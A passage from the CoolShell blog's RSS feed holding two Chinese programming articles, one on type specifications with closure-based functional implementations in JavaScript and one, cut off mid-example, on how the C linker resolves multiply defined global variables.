href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢 </strong><a href=\"http://weibo.com/weidagang\" target=\"_blank\">@文艺复兴记</a><strong>（todd） 投递此文）</strong></p>\n<p>在上一篇文章<a href=\"https://coolshell.cn/articles/9886.html\">《二叉树迭代器算法》</a>中，我介绍了一种基于栈的二叉树迭代器实现。程序设计语言和Haskell大牛<a href=\"http://weibo.com/u/1684815495\">@九瓜</a> 在看过之后评论到：</p>\n<blockquote><p>这里用了 stack 来做，有点偷懒，所以错失了一个抽象思考机会。如果我们能够理解二叉树到线性表的转换过程，完全可以把 Iterator 当作抽象的线性表来看，只要定义了关于 Iterator 的 empty, singleton, 还有 append 操作，实现二叉树的 Iterator 就变得非常直观。</p></blockquote>\n<p>“错失了一个抽象思考机会”是什么意思呢？我理解九瓜的意思是基于栈的实现虽然是正确的，但它缺乏对于迭代器类型本质的理解，不具有通用性。如果能对迭代器进行合适地抽象就可以像二叉树递归遍历一样自然地得出二叉树迭代器，甚至其他更复杂的数据结构，只要我们能写出它的遍历算法，迭代器算法都可以自然推出。</p>\n<h4>类型的本质</h4>\n<p>九瓜提到了通过empty, singleton和append操作对Iterator进行抽象，我本来打算直接根据这个思路介绍函数式的二叉树迭代器实现，但是考虑到其实首要的问题在于理解类型的本质，而并不是所有人都具备这个基础，不如先普及一下类型基础再进入具体实现。那么下面我们就先来认识一下类型到底是什么？我们先以来看看表示元素对的Pair类型，可能有人一提到Pair类型马上就会在脑海中浮现出下面的结构：</p>\n<p><span id=\"more-10169\"></span></p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\nstruct Pair {\n    int left;\n    int right;\n}\n</pre>\n<p>其实，这种理解是非本质的，Pair完全可以用2个元素的数组来表示，第一个元素表示left，第二个元素表示right：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\nstruct Pair {\n    int elements[2];\n}\n</pre>\n<p>上面的两种不同表示是类型的不同实现，而<strong>类型的本质是由操作(Operation)和操作间的关系或不变式(Invariant)所定义的</strong>，我们称之为类型规范(Type Specification)。比如，Pair类型是这样定义的：</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">\nType Pair:\n    Operations:\n        Pair make_pair(int x, int y)\n        int get_left(Pair pair)\n        int get_right(Pair pair)\n    Invariants:\n        get_left(make_pair(x, y)) == x  //对x, y构造的Pair取左元素等于x\n        get_right(make_pair(x, y)) == y  //对x, y构造的Pair取右元素等于y\n</pre>\n<p>也就是说只要是满足Pair类型规范，即定义了make_pair，get_left, get_right这3种操作，并且这些操作满足上面两个不变式，那么它这就是Pair类型。我们再来看看稍微复杂一点的Stack类型：</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">\nType Stack:\n    Operations:\n        Stack make_stack()  //构造空栈\n        Stack push(Stack stack, int x)  //将元素x压栈，返回新栈\n        int top(stack)  //获取栈顶元素\n        Stack pop(Stack stack)  //将栈顶元素弹栈，返回新栈\n    Invariants:\n        top(push(stack, x)) == x  //栈顶元素为最后一次压栈值\n        pop(push(stack, x)) == stack  //对stack压栈后再弹栈等于原来的stack\n</pre>\n<p>Stack类型规范简言之就是FILO（先入后出），如果要形式化就是上面的不变式。为了加深理解，我们现在切换到测试视角来看一看，如果请你来编写一个Stack类的单元测试用例，你应该怎么写呢？许多朋友都不清楚单元测试到底测什么？怎么测？我见过不少人用一个测试用例单独对push做测试，用另一个测试用例对pop单独做测试，其主要原因就在于缺乏对类型本质的理解。其实，只要理解了类型的本质我们就知道孤立地看push或pop是没有任何意义的，它们的意义是在FILO关系下相互解释的，所以测试当然是基于类型规范来测试FILO不变式！这种基于类型规范的测试是一种黑盒测试，与类型的内部实现细节无关，只要单元测试覆盖了类型所定义的所有操作和不变式，那么不管内部怎么实现或优化，测试用例都不需要调整。反之，如果深入到了类型的内部实现做白盒测试，那这样的测试用例实际上就不再是反映其类型规范了，它会随着实现细节的调整而失效。</p>\n<p>更深一层来看，不仅是在Pair，Stack这样的微观层面，在一个系统的宏观层面同样可以采用类型视角，即考察系统定义了哪些操作？这些操作之间有什么样的关系或不变式？比如，你如何从类型的角度来看待MySQL这样一套数据库系统？MySQL系统定义了哪些操作？这些操作之间必须满足怎样的关系和不变式？不仅如此，类型视角除了可以应用于计算机系统，甚至还可以应用于生活中的事物，比如，你到超市购物可以寄存自己的包，在寄包的时候会获得一张密码条，取包时可以通过密码条打开箱子。你能从超市寄包这个例子中看出类型来吗？如果你看出来了，说明你对类型的理解真正融会贯通了！</p>\n<h4>类型的函数式实现</h4>\n<p>上面我们介绍了类型的本质在于操作和操作间的关系，下面我们要关注的是类型的实现。在上面的例子中，Pair的内部结构到底是什么，是一个left和一个right成员？还是一个两元素的数组？没有讲，也没关系，就好像Windows的Handle和Linux的FileDescriptor一样，它们都是一个标识，你并不需要关心它的值本身，你只需要用几个相关的函数创建和操作它就行了（上面超市寄包例子中的密码条和Windows中的Handle是什么关系，你看出来了吗？你需要理解密码条的内容吗？）。换句话说，只要满足类型规范，具体实现是可变的，使用者<strong>只依赖于类型规范而不依赖于其具体实现</strong>。这在面向对象语言中意味着接口保持不变而具体实现可以变化（这里把public方法视为一种广义的接口）。</p>\n<p>下面，我们还会看到的是不仅类型的内部实现可以变化，而且可以根本没有什么所谓的内部实现。这是什么意思呢？让我们来思考一下，是不是Pair内部一定要有什么东西来保存构造函数传入的left和right？我们能跳出这个定势吗？在函数式编程中，我们能做到：</p>\n<p>[javascript]<br />\n//Javascript<br />\nfunction make_pair(x, y) {<br />\n    // 返回一个支持get_left和get_right操作的闭包(Closure)<br />\n    return {<br />\n        get_left : function() { return x },<br />\n        get_right : function() { return y }<br />\n    }<br />\n}<br />\nfunction get_left(pair) {<br />\n    return pair.get_left();<br />\n}<br />\nfunction get_right(pair) {<br />\n    return pair.get_right();<br />\n}<br />\n// Test case<br />\nconsole.log(get_left(make_pair(1, 2))) //1<br />\nconsole.log(get_right(make_pair(1, 2))) //2<br />\n[/javascript]</p>\n<p>上面的关键代码在于make_pair的内部返回的不是一种具体的数据结构，而是一个支持get_left和get_right操作的闭包(Closure)，将来可以通过get_left和get_right来提取x, y。这种基于闭包的实现和我们通常采用的基于数据结构的实现的本质区别在哪里呢？不难发现，<strong>基于闭包的实现和类型规范是直接对应的</strong>，它并没有引入类型规范之外的东西，而基于数据结构的实现则隐藏了实现的细节。换句话说，如果要验证实现代码的正确性，对于前者只需要比对着类型规范，对于后者我们可能需要去仔细理解推敲其所采用的数据结构。对于Pair这样简单的结构二者差别不大，甚至基于数据结构的实现更简单，但是对于复杂的类型就容易体现出闭包实现的优势了。为了加深理解，我们再来看一个Stack的函数式实现：</p>\n<p>[javascript]<br />\n//Javascript<br />\nfunction make_stack() {<br />\n    return null<br />\n}<br />\nfunction push(stack, x) {<br />\n    return {<br />\n        top : function() { return x },<br />\n        pop : function() { return stack }<br />\n    }<br />\n}<br />\nfunction top(stack) {<br />\n    return stack.top()<br />\n}<br />\nfunction pop(stack) {<br />\n    return stack.pop()<br />\n}<br />\n// Test case<br />\nvar stack = make_stack()<br />\nstack = push(stack, 1)<br />\nstack = push(stack, 2)<br />\nstack = push(stack, 3)<br />\nconsole.log(top(stack)) //3<br />\nstack = pop(stack)<br />\nconsole.log(top(stack)) //2<br />\nstack = push(stack, 4)<br />\nconsole.log(top(stack)) //4<br />\n[/javascript]</p>\n<p>上面的所有函数都是采用了无副作用的纯函数式设计，可能习惯面向对象编程的朋友不是很习惯，不过这不影响我们对类型的讨论，而且它也很容易改造成面向对象的风格，感兴趣的朋友可以自己尝试对上面的代码进行简单的包装让它看起来像面向对象的样子。</p>\n<h4>函数式二叉树迭代器</h4>\n<p>上面我们介绍了类型的本质和函数式实现，下面我们再来看看Iterator类型又该如何定义和实现呢？ 思路当然还是从操作入手，考虑Iterator类型对应了哪些操作，它们的关系是什么？上面九瓜提示了Iterator类型可以抽象为线性表List类型，或者说Iterator本质上是一个List。为什么呢？其实，只要跳出“如何表示数据结构”的思维，从类型角度思考就很容易理解，因为Iterator和List都定义了相同的操作，Iterator的使用者完全不关心也不知道它背后到底是链表还是二叉树，你对Iterator的操作和一个List的操作完全一样。正是这个原因，STL等范型库才能通过Iterator将算法和数据结构解耦。</p>\n<p>怎么定义一个List类型呢？九瓜提到的empty(), singleton()和append()实际上就是和List打交道最多的Lisp语言的经典定义方式。Lisp是基于s-expression的，s-expression既可以视为线性表又可以视为树，本质上Lisp为List类型了构造、取首元素和取剩余元素等几种操作：</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">\nType List:\n    Operations:\n        List empty()  //构造空表，通常由()这个文字量表示\n        List singleton(Element e)  //构造包含一个元素的表，通常由(e)这个文字量表示\n        Element first(List list)   //取list的第一个元素，通常又叫car操作\n        List rest(List list)  //取list除第一个元素外的剩余部分，通常又叫cdr操作\n        List append(List list1, List list2) //连接两个表\n    Invariants:\n        append(empty(), list) == list  //空表和表list连接后等于表list\n        append(list, empty()) == list  //空表和表list连接后等于表list\n        first(singleton(e)) == e  //对singleton(e)取首元素等于e\n        rest(singleton(e)) == empty()  //对singleton(e)取首元素外的剩余部分的结果为空表\n        append(first(list), rest(list)) == list  //对list的首尾两部分进行连接等于list本身\n        if list1 is not empty then\n            first(append(list1, list2)) == first(list1)  //对非空表list1于表list2的连接取首元素等于对非空表list1取首元素\n        if list1 is not empty then\n            rest(append(list1, list2)) == append(rest(list1), list2)  //对非空表list1于表list2的连接取首元素等于对非空表list1取首元素\n</pre>\n<p>有了上面的分析，我们相应地写出下面的List实现：</p>\n<p>[javascript]<br />\n//Javascript<br />\nfunction empty() {<br />\n    return null<br />\n}<br />\nfunction singleton(e) {<br />\n    return {<br />\n        first: function() { return e },<br />\n        rest: function() { return null }<br />\n    }<br />\n}<br />\nfunction first(list) {<br />\n    return list.first()<br />\n}<br />\nfunction rest(list) {<br />\n    return list.rest()<br />\n}<br />\nfunction append(list1, list2) {<br />\n    if (null == list1) return list2<br />\n    if (null == list2) return list1</p>\n<p>    return {<br />\n        first : function() { return first(list1) },<br />\n        rest : function() { return append(rest(list1), list2) }<br />\n    }<br />\n}<br />\n[/javascript]</p>\n<p>在此基础上可以进一步实现二叉树迭代器：</p>\n<p>[javascript]<br />\nfunction make_binary_tree_iterator(node) {<br />\n    return {<br />\n        first : function() {<br />\n            return null != node.left ? first(make_binary_tree_iterator(node.left)) : node<br />\n        },<br />\n        rest : function() {<br />\n            var left_it = (null == node.left ? null : make_binary_tree_iterator(node.left))<br />\n            var root_it = singleton(node)<br />\n            var right_it = (null == node.right ? null : make_binary_tree_iterator(node.right))<br />\n            var it = append(append(left_it, root_it), right_it)<br />\n            return rest(it)<br />\n        }<br />\n    }<br />\n}<br />\n//======== Test case ========<br />\nvar tree = {<br />\n    value : 1,<br />\n        left : {<br />\n            value : 2,<br />\n            left : { value : 4, left : null, right : null },<br />\n            right : null<br />\n        },<br />\n        right : {<br />\n            value : 3,<br />\n            left : null,<br />\n            right : { value : 7, left : null, right : null }<br />\n    }<br />\n}<br />\nfor (var it = make_binary_tree_iterator(tree); null != it; it = rest(it)) {<br />\n    console.log(first(it).value)<br />\n}<br />\n[/javascript]</p>\n<p>上面的make_binary_tree_iterator在List类型的基础上按照二叉树遍历过程构造了一个List。不知道你是否注意到了，为什么它不像下面这个例子一样直接返回一个List，而要构造一个闭包呢？</p>\n<p>[javascript]<br />\nfunction make_binary_tree_iterator(node) {<br />\n    var left_it = (null == node.left ? null : make_binary_tree_iterator(node.left))<br />\n    var root_it = singleton(node)<br />\n    var right_it = (null == node.right ? null : make_binary_tree_iterator(node.right))<br />\n    return append(append(left_it, root_it), right_it)<br />\n}<br />\n[/javascript]</p>\n<p>这里关键的区别在于闭包是惰性求值的，也就是说只有当真正开始迭代遍历的时候才会逐渐对各个函数进行求值，而上面的函数递归调用是非惰性的，会从一开始就把所有结点展开成线性表。如果你对这一点还不能很好地理解，可以尝试在各个函数中加log跟踪函数的调用过程。</p>\n<h4>总结</h4>\n<p>本文介绍了类型的本质在于它所定义的操作以及操作之间的关系和不变式。类型的实现关键在于满足类型规范的要求，而具体实现是可以变化的，使用者和测试用例都应该只依赖于类型规范而不依赖于具体实现。函数式的类型实现往往和类型规范是直接对应的，简单通用，但可能有性能问题，而命令式的类型实现往往会引入复杂的内部数据结构，但是其优点是高效。这两种实现并不是完全互斥的，有时候可以将二者相结合达到简单与高效的结合。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10169.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>32</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C语言全局变量那些事儿</title>\n\t\t<link>https://coolshell.cn/articles/10115.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10115.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Leo]]></dc:creator>\n\t\t<pubDate>Sun, 21 Jul 2013 13:16:33 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10115</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 @我的上铺叫路遥 投稿） 作为一名程序员，如果说沉迷一门编程语言算作一种乐趣的话，那么与此同时反过来去黑一门编程语言就是这种乐趣的升华。今天我们就来...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10115.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10115.html\">C语言全局变量那些事儿</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p>作为一名程序员，如果说沉迷一门编程语言算作一种乐趣的话，那么与此同时反过来去黑一门编程语言就是这种乐趣的升华。今天我们就来黑一把C语言，好好展示一下这门经典语言令人抓狂的一面。</p>\n<p>我们知道，全局变量是C语言语法和语义中一个很重要的知识点，首先它的存在意义需要从三个不同角度去理解：对于程序员来说，它是一个记录内容的<strong>变量(variable)</strong>；对于编译/链接器来说，它是一个需要解析的<strong>符号(symbol)</strong>；对于计算机来说，它可能是具有地址的一块<strong>内存(memory)</strong>。其次是语法/语义：从作用域上看，带static关键字的全局变量范围只能限定在文件里，否则会外联到整个模块和项目中；从生存期来看，它是静态的，贯穿整个程序或模块运行期间（<span style=\"color: #ff0000;\"><strong>注意，正是跨单元访问和持续生存周期这两个特点使得全局变量往往成为一段受攻击代码的突破口，了解这一点十分重要</strong></span>）；从空间分配上看，定义且初始化的全局变量在编译时在数据段(.data)分配空间，定义但未初始化的全局变量<strong>暂存(tentative definition)</strong>在.bss段，编译时自动清零，而仅仅是声明的全局变量只能算个符号，寄存在编译器的符号表内，不会分配空间，直到链接或者运行时再重定向到相应的地址上。</p>\n<p>我们将向您展现一下，<strong>非static限定全局变量</strong>在编译/链接以及程序运行时会发生哪些有趣的事情，顺便可以对C编译器/链接器的解析原理管中窥豹。以下示例对ANSI C和GNU C标准都有效，笔者的编译环境是Ubuntu下的GCC-4.4.3。</p>\n<p><span id=\"more-10115\"></span></p>\n<h4>第一个例子</h4>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">/* t.h */\n#ifndef _H_\n#define _H_\nint a;\n#endif\n\n/* foo.c */\n#include &lt;stdio.h&gt;\n#include &quot;t.h&quot;\n\nstruct {\n   char a;\n   int b;\n} b = { 2, 4 };\n\nint main();\n\nvoid foo()\n{\n    printf(&quot;foo:\\t(&amp;a)=0x%08x\\n\\t(&amp;b)=0x%08x\\n\n        \\tsizeof(b)=%d\\n\\tb.a=%d\\n\\tb.b=%d\\n\\tmain:0x%08x\\n&quot;,\n        &amp;a, &amp;b, sizeof b, b.a, b.b, main);\n}\n\n/* main.c */\n#include &lt;stdio.h&gt;\n#include &quot;t.h&quot;\n\nint b;\nint c;\n\nint main()\n{\n    foo();\n    printf(&quot;main:\\t(&amp;a)=0x%08x\\n\\t(&amp;b)=0x%08x\\n\n        \\t(&amp;c)=0x%08x\\n\\tsize(b)=%d\\n\\tb=%d\\n\\tc=%d\\n&quot;,\n        &amp;a, &amp;b, &amp;c, sizeof b, b, c);\n\treturn 0;\n}\n</pre>\n<p>Makefile如下：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\ntest: main.o foo.o\n\tgcc -o test main.o foo.o\n\nmain.o: main.c\nfoo.o: foo.c\n\nclean:\n\trm *.o test\n</pre>\n<p>运行情况：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\nfoo:\t(&amp;a)=0x0804a024\n\t(&amp;b)=0x0804a014\n\tsizeof(b)=8\n\tb.a=2\n\tb.b=4\n\tmain:0x080483e4\nmain:\t(&amp;a)=0x0804a024\n\t(&amp;b)=0x0804a014\n\t(&amp;c)=0x0804a028\n\tsize(b)=4\n\tb=2\n\tc=0\n</pre>\n<p>这个项目里我们定义了四个全局变量，t.h头文件定义了一个整型a，main.c里定义了两个整型b和c并且未初始化，foo.c里定义了一个初始化了的结构体，还定义了一个main的函数指针变量。由于C语言每个源文件单独编译，所以t.h分别包含了两次，所以int a就被定义了两次。两个源文件里变量b和函数指针变量main被重复定义了，实际上可以看做代码段的地址。但编译器并未报错，只给出一条警告：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">/usr/bin/ld: Warning: size of symbol &#039;b&#039; changed from 4 in main.o to 8 in foo.o</code></p>\n<p>运行程序发现，main.c打印中b大小是4个字节，而foo.c是8个字节，因为sizeof关键字是编译时决议，而源文件中对b类型定义不一样。但令人惊奇的是无论是在main.c还是foo.c中，a和b都是相同的地址，也就是说，a和b被定义了两次，b还是不同类型，但内存映像中只有一份拷贝。我们还看到，main.c中b的值居然就是foo.c中结构体第一个成员变量b.a的值，这证实了前面的推断——<strong>即便存在多次定义，内存中只有一份初始化的拷贝。</strong>另外在这里c是置身事外的一个独立变量。</p>\n<p>为何会这样呢？这涉及到<strong>C编译器对多重定义的全局符号的解析和链接。</strong>在编译阶段，编译器将全局符号信息隐含地编码在可重定位目标文件的符号表里。这里有个<strong>“强符号(strong)”</strong>和<strong>“弱符号(weak)”</strong>的概念——前者指的是定义并且初始化了的变量，比如foo.c里的结构体b，后者指的是未定义或者定义但未初始化的变量，比如main.c里的整型b和c，还有两个源文件都包含头文件里的a。当符号被多重定义时，GNU链接器(ld)使用以下规则决议：</p>\n<ul>\n<li>不允许出现多个相同强符号。</li>\n</ul>\n<ul>\n<li>如果有一个强符号和多个弱符号，则选择强符号。</li>\n</ul>\n<ul>\n<li>如果有多个弱符号，那么先决议到size最大的那个，如果同样大小，则按照链接顺序选择第一个。</li>\n</ul>\n<p>像上面这个例子中，全局变量a和b存在重复定义。如果我们将main.c中的b初始化赋值，那么就存在两个强符号而违反了规则一，编译器报错。如果满足规则二，则仅仅提出警告，实际运行时决议的是foo.c中的强符号。而变量a都是弱符号，所以只选择一个（按照目标文件链接时的顺序）。</p>\n<p>事实上，这种规则是C语言里的一个大坑，编译器对这种全局变量多重定义的“纵容”很可能会无端修改某个变量，导致程序不确定行为。如果你还没有意识到事态严重性，我再举个例子。</p>\n<h4>第二个例子</h4>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">/* foo.c */\n#include &lt;stdio.h&gt;;\n\nstruct {\n    int a;\n    int b;\n} b = { 2, 4 };\n\nint main();\n\nvoid foo()\n{\n    printf(&quot;foo:\\t(&amp;b)=0x%08x\\n\\tsizeof(b)=%d\\n\n        \\tb.a=%d\\n\\tb.b=%d\\n\\tmain:0x%08x\\n&quot;,\n        &amp;b, sizeof b, b.a, b.b, main);\n}\n\n/* main.c */\n#include &lt;stdio.h&gt;\n\nint b;\nint c;\n\nint main()\n{\n    if (0 == fork()) {\n        sleep(1);\n        b = 1;\n        printf(&quot;child:\\tsleep(1)\\n\\t(&amp;b):0x%08x\\n\n            \\t(&amp;c)=0x%08x\\n\\tsizeof(b)=%d\\n\\tset b=%d\\n\\tc=%d\\n&quot;,\n            &amp;b, &amp;c, sizeof b, b, c);\n        foo();\n    } else {\n        foo();\n        printf(&quot;parent:\\t(&amp;b)=0x%08x\\n\\t(&amp;c)=0x%08x\\n\n            \\tsizeof(b)=%d\\n\\tb=%d\\n\\tc=%d\\n\\twait child...\\n&quot;,\n            &amp;b, &amp;c, sizeof b, b, c);\n        wait(-1);\n        printf(&quot;parent:\\tchild over\\n\\t(&amp;b)=0x%08x\\n\n            \\t(&amp;c)=0x%08x\\n\\tsizeof(b)=%d\\n\\tb=%d\\n\\tc=%d\\n&quot;,\n            &amp;b, &amp;c, sizeof b, b, c);\n    }\n    return 0;\n}</pre>\n<p>运行情况如下：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\nfoo:\t(&amp;b)=0x0804a020\n\tsizeof(b)=8\n\tb.a=2\n\tb.b=4\n\tmain:0x080484c8\nparent:\t(&amp;b)=0x0804a020\n\t(&amp;c)=0x0804a034\n\tsizeof(b)=4\n\tb=2\n\tc=0\n\twait child...\nchild:\tsleep(1)\n\t(&amp;b):0x0804a020\n\t(&amp;c)=0x0804a034\n\tsizeof(b)=4\n\tset b=1\n\tc=0\nfoo:\t(&amp;b)=0x0804a020\n\tsizeof(b)=8\n\tb.a=1\n\tb.b=4\n\tmain:0x080484c8\nparent:\tchild over\n\t(&amp;b)=0x0804a020\n\t(&amp;c)=0x0804a034\n\tsizeof(b)=4\n\tb=2\n\tc=0\n</pre>\n<p>（说明一点，运行情况是直接输出到stdout的打印，笔者曾经将./test输出重定向到log中，结果发现打印的执行序列不一致，所以采用默认输出。）</p>\n<p>这是一个<strong>多进程环境</strong>，首先我们看到无论父进程还是子进程，main.c还是foo.c，全局变量b和c的地址仍然是一致的（当然只是个<strong>逻辑地址</strong>），而且对b的大小不同模块仍然有不同的决议。这里值得注意的是，我们在子进程中对变量b进行赋值动作，从此子进程本身包括foo()调用中，整型b以及结构体成员b.a的值都是1，而父进程中整型b和结构体成员b.a的值仍是2，但它们显示的逻辑地址仍是一致的。</p>\n<p>个人认为可以这样解释，fork创建新进程时，子进程获得了父进程上下文“镜像”（自然包括全局变量），虚拟地址相同但属于不同的进程空间，而且此时真正映射的物理地址中只有一份拷贝，所以b的值是相同的（都是2）。随后子进程对b改写，触发了操作系统的<strong>写时拷贝(copy on write)</strong>机制，这时物理内存中才产生真正的两份拷贝，分别映射到不同进程空间的虚拟地址上，但虚拟地址的值本身仍然不变，这对于应用程序来说是透明的，具有隐瞒性。</p>\n<p>还有一点值得注意，这个示例编译时没有出现第一个示例的警告，即对变量b的sizeof决议，笔者也不知道为什么，或许是GCC的一个bug？</p>\n<h4>第三个例子</h4>\n<p>这个例子代码同上一个一致，只不过我们将foo.c做成一个静态链接库libfoo.a进行链接，这里只给出Makefile的改动。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\ntest: main.o foo.o\n\tar rcs libfoo.a foo.o\n\tgcc -static -o test main.o libfoo.a\n\nmain.o: main.c\nfoo.o: foo.c\n\nclean:\n\trm -f *.o test\n</pre>\n<p>运行情况如下：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\nfoo:\t(&amp;b)=0x080ca008\n\tsizeof(b)=8\n\tb.a=2\n\tb.b=4\n\tmain:0x08048250\nparent:\t(&amp;b)=0x080ca008\n\t(&amp;c)=0x080cc084\n\tsizeof(b)=4\n\tb=2\n\tc=0\n\twait child...\nchild:\tsleep(1)\n\t(&amp;b):0x080ca008\n\t(&amp;c)=0x080cc084\n\tsizeof(b)=4\n\tset b=1\n\tc=0\nfoo:\t(&amp;b)=0x080ca008\n\tsizeof(b)=8\n\tb.a=1\n\tb.b=4\n\tmain:0x08048250\nparent:\tchild over\n\t(&amp;b)=0x080ca008\n\t(&amp;c)=0x080cc084\n\tsizeof(b)=4\n\tb=2\n\tc=0\n</pre>\n<p>从这个例子看不出有啥差别，只不过使用<strong>静态链接</strong>后，全局变量加载的地址有所改变，b和c的地址之间似乎相隔更远了些。不过这次编译器倒是给出了变量b的sizeof决议警告。</p>\n<p>到此为止，有些人可能会对上面的例子嗤之以鼻，觉得这不过是列举了C语言的某些特性而已，算不上黑。有些人认为既然如此，对于一切全局变量要么用static限死，要么定义同时初始化，杜绝弱符号，以便在编译时报错检测出来。只要小心地使用，C语言还是很完美的嘛~对于抱这样想法的人，我只想说，请你在夜深人静的时候竖起耳朵仔细聆听，你很可能听到Dennis Richie在九泉之下邪恶的笑声——不，与其说是嘲笑，不如说是诅咒……</p>\n<h4>第四个例子</h4>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">/* foo.c */\n#include &lt;stdio.h&gt;\n\nconst struct {\n    int a;\n    int b;\n} b = { 3, 3 };\n\nint main();\n\nvoid foo()\n{\n    b.a = 4;\n    b.b = 4;\n    printf(&quot;foo:\\t(&amp;b)=0x%08x\\n\\tsizeof(b)=%d\\n\n        \\tb.a=%d\\n\\tb.b=%d\\n\\tmain:0x%08x\\n&quot;,\n        &amp;b, sizeof b, b.a, b.b, main);\n}\n\n/* t1.c */\n#include &lt;stdio.h&gt;\n\nint b = 1;\nint c = 1;\n\nint main()\n{\n    int count = 5;\n    while (count-- &gt; 0) {\n        t2();\n        foo();\n        printf(&quot;t1:\\t(&amp;b)=0x%08x\\n\\t(&amp;c)=0x%08x\\n\n            \\tsizeof(b)=%d\\n\\tb=%d\\n\\tc=%d\\n&quot;,\n            &amp;b, &amp;c, sizeof b, b, c);\n        sleep(1);\n    }\n    return 0;\n}\n\n/* t2.c */\n#include 